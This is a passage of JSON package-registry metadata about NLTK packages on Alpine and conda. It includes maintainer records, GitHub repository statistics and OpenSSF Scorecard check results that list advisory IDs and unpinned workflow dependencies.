Sinatra","role":null,"created_at":"2024-12-09T11:40:57.961Z","updated_at":"2024-12-09T11:40:57.961Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers/wpsinatra@gmail.com/packages"}],"registry":{"name":"alpine-v3.21","url":"https://pkgs.alpinelinux.org/packages?branch=v3.21","ecosystem":"alpine","default":false,"packages_count":25393,"maintainers_count":413,"namespaces_count":2,"keywords_count":3612,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1270},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-12-06T12:06:36.014Z","updated_at":"2026-06-10T05:18:33.774Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/namespaces"}},{"id":8677412,"name":"py3-nltk-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-nltk","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-09-16T20:26:39.000Z","latest_release_published_at":"2023-09-16T20:26:39.000Z","latest_release_number":"3.8.1-r2","last_synced_at":"2026-04-02T15:48:50.834Z","created_at":"2023-12-20T10:28:47.279Z","updated_at":"2026-04-02T15:48:50.834Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.19/community/x86_64/py3-nltk-pyc","install_command":"apk add py3-nltk-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-nltk-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.19","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-nltk-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-nltk-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-nltk-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-nltk-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-nltk-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages/py3-nltk-pyc/codemeta","maintainers":[{"uuid":"iztok@iztok-jr-fister.eu","login":null,"name":"Iztok Fister, Jr.","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","packages_count":267,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","role":null,"created_at":"2024-10-29T19:42:49.073Z","updated_at":"2024-10-29T19:42:49.073Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers/iztok@iztok-jr-fister.eu/packages"}],"registry":{"name":"alpine-v3.19","url":"https://pkgs.alpinelinux.org/packages?branch=v3.19","ecosystem":"alpine","default":false,"packages_count":23031,"maintainers_count":392,"namespaces_count":2,"keywords_count":3179,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":824},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-12-20T09:51:56.346Z","updated_at":"2026-06-10T05:19:05.125Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.19/namespaces"}},{"id":10344982,"name":"py3-nltk-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-nltk","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_number":"3.8.1-r3","last_synced_at":"2026-04-08T13:08:09.797Z","created_at":"2024-06-11T10:12:23.160Z","updated_at":"2026-04-08T13:08:09.798Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.20/community/x86_64/py3-nltk-pyc","install_command":"apk add py3-nltk-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2025-10-07T05:54:26.000Z","size":354538,"stargazers_count":14337,"open_issues_count":269,"forks_count":2945,"subscribers_count":452,"default_branch":"develop","last_synced_at":"2025-10-16T01:12:42.219Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2025-10-15T13:30:24.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":47,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279148122,"owners_count":26114201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-16T02:00:06.019Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2025-10-17T21:12:21.575Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-nltk-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.20","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-07T15:01:08.027Z","issues_count":280,"pull_requests_count":238,"avg_time_to_close_issue":27896123.601226993,"avg_time_to_close_pull_request":9941234.244791666,"issues_closed_count":163,"pull_requests_closed_count":192,"pull_request_authors_count":82,"issue_authors_count":242,"avg_comments_per_issue":3.7607142857142857,"avg_comments_per_pull_request":2.6092436974789917,"merged_pull_requests_count":137,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1278785.7931034483,"past_year_avg_time_to_close_pull_request":2512805.6153846155,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":44,"past_year_avg_comments_per_issue":1.0740740740740742,"past_year_avg_comments_per_pull_request":2.269230769230769,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-nltk-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-nltk-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-nltk-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-nltk-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-nltk-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-nltk-pyc/codemeta","maintainers":[{"uuid":"iztok@iztok-jr-fister.eu","login":null,"name":"Iztok Fister, Jr.","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","packages_count":271,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Iztok Fister, Jr.","role":null,"created_at":"2024-06-12T01:19:12.211Z","updated_at":"2024-06-12T01:19:12.211Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers/iztok@iztok-jr-fister.eu/packages"}],"registry":{"name":"alpine-v3.20","url":"https://pkgs.alpinelinux.org/packages?branch=v3.20","ecosystem":"alpine","default":false,"packages_count":24162,"maintainers_count":405,"namespaces_count":2,"keywords_count":4251,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1476},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-06-07T11:51:39.915Z","updated_at":"2026-06-10T05:19:00.233Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/namespaces"}},{"id":5289385,"name":"nltk","ecosystem":"conda","description":null,"homepage":"http://nltk.org/","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":null,"versions_count":15,"first_release_published_at":"2021-03-23T13:25:17.000Z","latest_release_published_at":"2021-12-29T03:25:17.000Z","latest_release_number":"3.6.7","last_synced_at":"2026-04-01T16:19:33.398Z","created_at":"2022-10-03T15:47:28.075Z","updated_at":"2026-04-01T16:19:34.102Z","registry_url":"https://anaconda.org/conda-forge/nltk","install_command":"conda install -c conda-forge nltk","documentation_url":null,"metadata":{},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2025-10-07T05:54:26.000Z","size":354538,"stargazers_count":14337,"open_issues_count":269,"forks_count":2945,"subscribers_count":452,"default_branch":"develop","last_synced_at":"2025-10-16T01:12:42.219Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2025-10-15T13:30:24.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":47,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using 